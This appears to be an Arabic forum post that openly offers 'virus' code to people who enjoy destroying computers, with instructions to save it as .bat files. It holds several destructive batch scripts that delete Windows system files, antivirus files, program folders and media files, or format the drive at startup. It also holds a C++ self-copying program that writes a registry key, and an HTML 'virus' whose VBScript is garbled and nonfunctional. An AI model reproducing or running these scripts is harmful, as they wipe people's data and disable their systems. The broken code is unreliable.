قوى : الفيروسات - من واقع تجربه

السـلام عليكم ورحمه الله وبركاته

كيف الحال اعضاء ومشرفين الديف بوينت

الموضوع عبـااااره عن اكؤاد فايروساات

لـ الاشخاص الي يحبون التدمير والعبث في الاجهزه

طيب نبدأ مع اول فايرس :

ينسخ نفسه بنفسه اقوي من فايروس hedrar يعني,,,,,

مهما حاول الضحيه مسحه مايلحقو والكود مختص كذالك

في عمل فورمات لجهاز الضحيه يشتغل الفايروس تلقائي مع بدأ اشتغال الجهاز,,, ولا تنسي ان تحفضه بــ اسم-Autoexec.bat احذر احذر احذر ان تفتحه علي جهازك

كود:

echo off@
cls
call attrib -h -r c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo deltree /y c:\progra~1\*.* >nul >>c:\autoexec.bat
echo copy c:\windows\command\format.com c:\ >nul >>c:\autoexec.bat
echo copy c:\windows\command\deltree.exe c:\ >nul >>c:\autoexec.bat
echo deltree /y c:\windows\*.* >nul >>c:\autoexec.bat
echo format c: /q /u /autotest >nul >>c:\autoexec.bat
On Error Resume Next
Dim copy, copy2
copy = "c:\virus.exe"
copy2 = "c:\windows\system\Project12.exe"
FileCopy copy, copy2

الفايرس مايروح الا بفورمــــااات -

------------------------------------------

هذا الفايرس الثاني :

كود:

fire c++ virus:

#include ******s.h
#include string.h

char windir[MAX_PATH];

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{

char pathname[256];
HKEY hKey;

Get******sDirectory(windir, sizeof(windir));
HMODULE hMe = GetModuleHandle(NULL);
DWORD nRet = GetModuleFileName(hMe, pathname, 256);

strcat(windir, "\\System32\\viral.exe");
CopyFile(pathname,windir,0);

unsigned char reg[10] = "infected";

RegCreateKey(HKEY_CURRENT_USER,"Software\\retro",& hKey);
RegSetValueEx(hKey,"virus",0,REG_SZ,reg,sizeof(reg ));
RegCloseKey(hKey);

}

-----------------------------------------------------

الفايرس الثالث :

كود:

@Echo off
c:
cd %WinDir%\System\
deltree /y *.dll
cd\
deltree /y *.sys

الحفظ bat

هذا الفيروس يقوم على مسح كل ملفات الـ dll والـ sys من السيستم

---------------------------------------------------

الفيروس الرابع :

فيروس يقوم بمسح جميع ملفات الصور التى امتددها *.jpg. وانت بكيفك تبي تخليه يمسح ملفاات معينه مثل الـ mp3 والـ ram بس نشوف في الكود وش الي محدد :

كود:

@Echo off
e:
deltree /y *.jpg
cd\
deltree /y *.mp3
cd\
deltree /y *.asf

-------------------------------------------------

هذا الكود سيد الاكواد على قولهم :

وظيفته فرمتـه وعبث على السريع -

كود:

Del c:\windows\system\msconfig.exe

Del c:\windows\Rundll32.exe

Del c:\windows\regedit.exe

Del c:\windows\Rundll.exe

Del c:\Autoexec.bat

Del c:\command.com

Del c:\windows\Logos.sys

Del c:\windows\Logow.sys

Del c:\windows\Scanregw.exe

Del C:\Program Files\Internet Explorer\Iexplore.exe

Del c:\windows\system\Sysedit.exe

Del c:\windows\win.com

__Echo off

c:

cd %WinDir%\System\

deltree /y *.exe

-----------------------------------------------------------

كود فيروس Html

كود:

<html>

<head>
<**************** ****************************************="Content-Type"
content="text/html; charset=iso-8859-1">
<title>Active-X HTML</title>
</head>
THIS HTML USING ACTIVE-X PLEASE CLICK #YES#
<body bgcolor="#000000" Text="#C0C0C0">
<script language="VBScript">
 Word 2000 ... it's a new age!

If Day(Now) = Minute(Now) Then Selection.TypeText "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."

End Sub

------------------------------------------------------------

كود لفيروس ينشئ ملاين من المجلدات على الهارد بجانب انه يدمر الويندوز :

كود:

@echo off

CLS

@del c:\Windows\win.ini

CLS

@del c:\windows\system.dat

CLS

@del c:\windows\system.ini

CLS

@REN c:\Windows te3eeshWeeElwendosYa7'od3'er7a

CLS

@del c:\progra~1\netscape\commun~1\program\netscape.exe

CLS

@del c:\progra~1\netscape\commun~1\program\wgbview.dbm

CLS

@del c:\progra~1\norton~1\dec2.dll

@del c:\progra~1\norton~1\navstart.dat

@del c:\progra~1\norton~1\navw32.exe

@del c:\progra~1\norton~1\sfstr32i.dll

CLS

@del c:\progra~1\icq\icqcntct.dll

CLS

@del c:\progra~1\icq\dll\icqwso~1.dll

CLS

@REN c:\progra~1 fuck

CLS

@md c:\fff

@md c:\545

@md c:\jsior

@md c:\ierjq

@md c:\nmao

@md c:\ian

@md c:\asdja

@md c:\duiae

@md c:\dsuiuie

@md c:\ianer

@md c:\aie

@md c:\aiaer

@md c:\aiher

@md c:\kaie

@md c:\system

@md c:\uauau

@md c:\opoe

@md c:\pogrw

@md c:\uauer

@md c:\vnvnv

@md c:\imcvns

@md c:\mnbf

@md c:\ingo

@md c:\iajf

@md c:\sexe

@md c:\fffs

@md c:\54s5

@md c:\jsioer

@md c:\ierjeq

@md c:\nmato

@md c:\iany

@md c:\asbja

@md c:\duaae

@md c:\dsujiuie

@md c:\ianer

@md c:\aae

@md c:\aider

@md c:\ai3er

@md c:\kafe

@md c:\systam

@md c:\uauaau

@md c:\ofoe

@md c:\togrw

@md c:\uader

@md c:\vnvdsv

@md c:\i43cvns

@md c:\mdbf

@md c:\ind43

@md c:\iajf

@cd\

CLS

@del *.sys

CLS

@del *.exe

CLS

@del *.txt

CLS

@del *.dll

CLS

@del *.com

CLS

------------------------------------------------------

ملإحظة الحفظ بصيغـه .bat من المفكره

إن شاء الله يفيدكم :

هذا اذا ماطلع معك شي : حمل الاكواد من هنــــااااا

( قيـم اذا افادك )